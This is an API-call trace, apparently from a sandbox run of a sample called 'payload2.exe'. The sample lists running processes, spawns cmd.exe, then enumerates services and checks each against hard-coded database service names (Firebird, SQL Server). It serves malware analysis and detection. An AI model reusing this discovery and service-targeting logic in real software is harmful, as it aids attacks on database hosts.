	[0205.972] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0205.973] lstrlenW (lpString="System") returned 6
	[0205.973] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0205.974] lstrlenW (lpString="smss.exe") returned 8
	[0205.974] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0205.974] lstrlenW (lpString="csrss.exe") returned 9
	[0205.974] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0205.975] lstrlenW (lpString="wininit.exe") returned 11
	[0205.975] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0205.975] lstrlenW (lpString="csrss.exe") returned 9
	[0205.975] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0205.976] lstrlenW (lpString="winlogon.exe") returned 12
	[0205.976] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0205.976] lstrlenW (lpString="services.exe") returned 12
	[0205.977] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0205.977] lstrlenW (lpString="lsass.exe") returned 9
	[0205.977] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0205.978] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0205.978] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0205.978] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0205.978] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.979] lstrlenW (lpString="svchost.exe") returned 11
	[0205.979] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.979] lstrlenW (lpString="svchost.exe") returned 11
	[0205.979] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0205.980] lstrlenW (lpString="dwm.exe") returned 7
	[0205.980] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.981] lstrlenW (lpString="svchost.exe") returned 11
	[0205.981] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.981] lstrlenW (lpString="svchost.exe") returned 11
	[0205.981] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.982] lstrlenW (lpString="svchost.exe") returned 11
	[0205.982] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.983] lstrlenW (lpString="svchost.exe") returned 11
	[0205.983] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.984] lstrlenW (lpString="svchost.exe") returned 11
	[0205.984] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.984] lstrlenW (lpString="svchost.exe") returned 11
	[0205.984] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.985] lstrlenW (lpString="svchost.exe") returned 11
	[0205.985] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.985] lstrlenW (lpString="svchost.exe") returned 11
	[0205.985] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.986] lstrlenW (lpString="svchost.exe") returned 11
	[0205.986] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.986] lstrlenW (lpString="svchost.exe") returned 11
	[0205.986] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0205.987] lstrlenW (lpString="spoolsv.exe") returned 11
	[0205.987] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.988] lstrlenW (lpString="svchost.exe") returned 11
	[0205.988] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0205.988] lstrlenW (lpString="audiodg.exe") returned 11
	[0205.988] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0205.989] lstrlenW (lpString="sihost.exe") returned 10
	[0205.989] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0205.990] lstrlenW (lpString="svchost.exe") returned 11
	[0205.990] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0205.990] lstrlenW (lpString="taskhostw.exe") returned 13
	[0205.990] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0205.991] lstrlenW (lpString="msoia.exe") returned 9
	[0205.991] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0205.991] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0205.991] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0205.992] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0205.992] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0205.992] lstrlenW (lpString="Memory Compression") returned 18
	[0205.992] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0205.993] lstrlenW (lpString="explorer.exe") returned 12
	[0205.993] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0205.993] lstrlenW (lpString="SearchUI.exe") returned 12
	[0205.994] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0205.994] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0205.994] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0205.995] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0205.995] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0205.995] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0205.995] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0205.996] lstrlenW (lpString="payload2.exe") returned 12
	[0205.996] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0205.996] lstrlenW (lpString="dllhost.exe") returned 11
	[0205.996] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0205.997] lstrlenW (lpString="payload2.exe") returned 12
	[0205.997] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0205.997] lstrlenW (lpString="cmd.exe") returned 7
	[0205.997] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf60, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0205.998] lstrlenW (lpString="conhost.exe") returned 11
	[0205.998] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0205.998] lstrlenW (lpString="cmd.exe") returned 7
	[0205.999] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0205.999] lstrlenW (lpString="conhost.exe") returned 11
	[0205.999] Process32NextW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0205.999] CloseHandle (hObject=0x34c) returned 1
	[0206.000] Sleep (dwMilliseconds=0x1f4) 
	[0206.919] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59e108
	[0206.920] EnumServicesStatusExW (in: hSCManager=0x59e108, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0) returned 0
	[0206.921] GetLastError () returned 0xea
	[0206.921] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1bc4) returned 0x44d8910
	[0206.921] EnumServicesStatusExW (in: hSCManager=0x59e108, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x44d8910, cbBufSize=0x1bc4, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x44d8910, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0) returned 1
	[0206.922] CloseServiceHandle (hSCObject=0x59e108) returned 1
	[0206.922] lstrlenW (lpString="Appinfo") returned 7
	[0206.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0206.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0206.922] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0206.922] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0206.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0206.922] lstrlenW (lpString="AppXSvc") returned 7
	[0206.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0206.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0206.922] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0206.922] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0206.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0206.922] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0206.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0206.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0206.922] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0206.922] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0206.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0206.922] lstrlenW (lpString="Audiosrv") returned 8
	[0206.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0206.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0206.923] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0206.923] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0206.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0206.923] lstrlenW (lpString="BFE") returned 3
	[0206.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0206.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0206.923] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0206.923] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0206.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0206.923] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0206.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0206.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0206.923] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0206.923] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0206.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0206.923] lstrlenW (lpString="CDPSvc") returned 6
	[0206.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0206.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0206.923] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0206.923] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0206.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0206.923] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0206.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0206.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0206.923] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0206.923] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0206.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0206.923] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0206.923] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0206.923] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0206.924] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0206.924] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0206.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0206.924] lstrlenW (lpString="CryptSvc") returned 8
	[0206.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0206.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0206.924] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0206.924] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0206.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0206.924] lstrlenW (lpString="DcomLaunch") returned 10
	[0206.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0206.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0206.924] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0206.924] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0206.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0206.924] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0206.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0206.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0206.924] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0206.924] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0206.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0206.924] lstrlenW (lpString="Dhcp") returned 4
	[0206.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0206.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0206.924] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0206.924] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0206.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0206.924] lstrlenW (lpString="Dnscache") returned 8
	[0206.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0206.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0206.924] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0206.924] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0206.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0206.925] lstrlenW (lpString="DPS") returned 3
	[0206.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0206.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0206.925] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0206.925] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0206.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0206.925] lstrlenW (lpString="DusmSvc") returned 7
	[0206.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0206.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0206.925] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0206.925] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0206.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0206.925] lstrlenW (lpString="EventLog") returned 8
	[0206.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
